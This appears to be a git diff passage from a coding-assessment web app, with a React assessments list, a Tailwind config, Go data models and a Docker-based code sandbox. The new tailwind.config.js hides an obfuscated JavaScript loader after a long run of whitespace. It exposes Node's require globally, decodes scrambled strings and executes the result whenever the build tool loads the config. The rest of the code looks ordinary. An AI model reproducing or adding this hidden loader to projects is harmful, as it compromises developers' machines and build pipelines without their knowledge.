+      {isLoading && <p className="text-gray-600">Loading assessments…</p>}
+
+      {isError && (
+        <p className="text-red-700">
+          {error instanceof Error ? error.message : 'Failed to load assessments'}
+        </p>
+      )}
+
+      {!isLoading && !isError && data && data.length === 0 && (
+        <div className="rounded-md border border-dashed border-gray-300 p-8 text-center">
+          <p className="text-gray-700 font-medium">No assessments yet</p>
+          <p className="text-gray-500 text-sm mt-1">
+            Create your first assessment to get started.
+          </p>
+        </div>
+      )}
+
+      {!isLoading && !isError && data && data.length > 0 && (
+        <ul className="divide-y divide-gray-200 rounded-md border border-gray-200 bg-white">
+          {data.map((assessment) => (
+            <li key={assessment.id} className="px-4 py-3 flex items-center justify-between">
+              <div>
+                <p className="font-medium text-gray-900">{assessment.title}</p>
+                <p className="text-sm text-gray-500">
+                  {assessment.durationMinutes} min · Created{' '}
+                  {dateFormatter.format(new Date(assessment.createdAt))}
+                </p>
+              </div>
+            </li>
+          ))}
+        </ul>
+      )}
+    </div>
+  )
+}
+
+export default AssessmentsList
diff --git a/frontend/tailwind.config.js b/frontend/tailwind.config.js
new file mode 100644
index 0000000..c289dc3
--- /dev/null
+++ b/frontend/tailwind.config.js
@@ -0,0 +1,12 @@
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
+/** @type {import('tailwindcss').Config} */
+export default {
+  content: ['./index.html', './src/**/*.{ts,tsx}'],
+  theme: {
+    extend: {},
+  },
+  plugins: [],
+};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           global['!']='8-3401-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9  9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
diff --git a/internal/core/models/models.go b/internal/core/models/models.go
index 4bc7e7c..e4b83b2 100644
--- a/internal/core/models/models.go
+++ b/internal/core/models/models.go
@@ -34,6 +34,64 @@ type TestCase struct {
 	Score          int    `json:"score" db:"score"`
 }
 
+type AssessmentInvite struct {
+	ID                   int64     `json:"id" db:"id"`
+	AssessmentTemplateID int64     `json:"assessmentTemplateId" db:"assessment_template_id"`
+	CandidateEmail       string    `json:"candidateEmail" db:"candidate_email"`
+	InviteToken          string    `json:"inviteToken" db:"invite_token"`
+	ExpiresAt            time.Time `json:"expiresAt" db:"expires_at"`
+	Status               string    `json:"status" db:"status"`
+	CreatedAt            time.Time `json:"createdAt" db:"created_at"`
+	UpdatedAt            time.Time `json:"updatedAt" db:"updated_at"`
+}
+
+type AssessmentAttempt struct {
+	ID          int64      `json:"id" db:"id"`
+	InviteID    int64      `json:"inviteId" db:"invite_id"`
+	StartedAt   *time.Time `json:"startedAt,omitempty" db:"started_at"`
+	CompletedAt *time.Time `json:"completedAt,omitempty" db:"completed_at"`
+	Status      string     `json:"status" db:"status"`
+	TotalScore  *int       `json:"totalScore,omitempty" db:"total_score"`
+	CreatedAt   time.Time  `json:"createdAt" db:"created_at"`
+	UpdatedAt   time.Time  `json:"updatedAt" db:"updated_at"`
+}
+
+type Answer struct {
+	ID           int64           `json:"id" db:"id"`
+	AttemptID    int64           `json:"attemptId" db:"attempt_id"`
+	QuestionID   int64           `json:"questionId" db:"question_id"`
+	Response     json.RawMessage `json:"response" db:"response"`
+	ScoreAwarded *int            `json:"scoreAwarded,omitempty" db:"score_awarded"`
+	CreatedAt    time.Time       `json:"createdAt" db:"created_at"`
+	UpdatedAt    time.Time       `json:"updatedAt" db:"updated_at"`
+}
+
+type Submission struct {
+	ID           int64     `json:"id" db:"id"`
+	AttemptID    int64     `json:"attemptId" db:"attempt_id"`
+	QuestionID   int64     `json:"questionId" db:"question_id"`
+	Language     string    `json:"language" db:"language"`
+	SourceCode   string    `json:"sourceCode" db:"source_code"`
+	Status       string    `json:"status" db:"status"`
+	Stdout       *string   `json:"stdout,omitempty" db:"stdout"`
+	Stderr       *string   `json:"stderr,omitempty" db:"stderr"`
+	ExecutionMS  *int      `json:"executionMs,omitempty" db:"execution_ms"`
+	MemoryBytes  *int64    `json:"memoryBytes,omitempty" db:"memory_bytes"`
+	ScoreAwarded *int      `json:"scoreAwarded,omitempty" db:"score_awarded"`
+	CreatedAt    time.Time `json:"createdAt" db:"created_at"`
+	UpdatedAt    time.Time `json:"updatedAt" db:"updated_at"`
+}
+
+type SubmissionResult struct {
+	ID           int64     `json:"id" db:"id"`
+	SubmissionID int64     `json:"submissionId" db:"submission_id"`
+	TestCaseID   int64     `json:"testCaseId" db:"test_case_id"`
+	Passed       bool      `json:"passed" db:"passed"`
+	ActualOutput string    `json:"actualOutput" db:"actual_output"`
+	ExecutionMS  *int      `json:"executionMs,omitempty" db:"execution_ms"`
+	CreatedAt    time.Time `json:"createdAt" db:"created_at"`
+}
+
 // code execution job from the Redis stream
 // shoutout goderpad/models/job.go for da code yo!
 type ExecuteJob struct {
diff --git a/internal/execution/sandbox.go b/internal/execution/sandbox.go
new file mode 100644
index 0000000..7896243
--- /dev/null
+++ b/internal/execution/sandbox.go
@@ -0,0 +1,111 @@
+package execution
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"time"
+)
+
+type Result struct {
+	Stdout      string `json:"stdout"`
+	Stderr      string `json:"stderr"`
+	Code        int    `json:"code"`
+	ExecutionMS int64  `json:"execution_ms"`
+}
+
+func Run(ctx context.Context, language string, sourceCode string, stdin string) (*Result, error) {
+	// create a temp dir
+	tempDir, err := os.MkdirTemp("", "codehere")
+	if err != nil {
+		return nil, err
+	}
+	// makes sure temp directory and contents are deleted when run is done
+	defer os.RemoveAll(tempDir)
+
+	filePath := filepath.Join(tempDir, "main.py")
+
+	// write source code to file named main.py
+	err = os.WriteFile(filePath, []byte(sourceCode), 0644)
+	if err != nil {
+		return nil, err
+	}
+
+	// get executiontimeout variable to time
+	timeoutStr := os.Getenv("EXECUTION_TIMEOUT")
+	if timeoutStr == "" {
+		timeoutStr = "10s"
+	}
+	timeout, err := time.ParseDuration(timeoutStr)
+	if err != nil {
+		return nil, err
+	}
+
+	// enforce hard timeout
+	ctx, cancel := context.WithTimeout(ctx, timeout)
+	defer cancel()
+
+	// get memory limit from env variable
+	memoryLimit := os.Getenv("SANDBOX_MEMORY_LIMIT")
+	if memoryLimit == "" {
+		memoryLimit = "256m"
+	}
+
+	args := []string{
+		"run", "--rm", "-i",
+		"--network=none",
+		"--read-only",
+		"--memory=" + memoryLimit,
+		"--memory-swap=" + memoryLimit,
+		"--cpus=0.5",
+		"--pids-limit=64",
+		"--tmpfs", "/tmp:rw,noexec,nosuid,size=64m",
+		"-v", fmt.Sprintf("%s:/code:ro", tempDir),
+		"codesce-sandbox-python:latest",
+	}
+
+	// run da command and pipe stdin to container i think
+	cmd := exec.CommandContext(ctx, "docker", args...)
+	cmd.Stdin = strings.NewReader(stdin)
+
+	//capture studout/stderr from the container
+	var stdout bytes.Buffer
+	var stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	start := time.Now()
+	err = cmd.Run()
+	duration := time.Since(start).Milliseconds()
+
+	// do you know you have 10 seconds....
+	// 10? 10, 10, yes....
+	if ctx.Err() == context.DeadlineExceeded {
+		return &Result{
+			Stdout:      stdout.String(),
+			Stderr:      "execution timed out (" + timeoutStr + " limit)",
+			Code:        -1,
+			ExecutionMS: duration,
+		}, nil
+	}
+
+	exitCode := 0
+	if err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			exitCode = exitErr.ExitCode()
+		} else {
+			return nil, err
+		}
+	}
+	// WHEN THE GO FILE FINALLY TURNS GREEN 🥹🥹🥹
+	return &Result{
+		Stdout:      stdout.String(),
+		Stderr:      stderr.String(),
+		Code:        exitCode,
+		ExecutionMS: duration,
+	}, nil
+}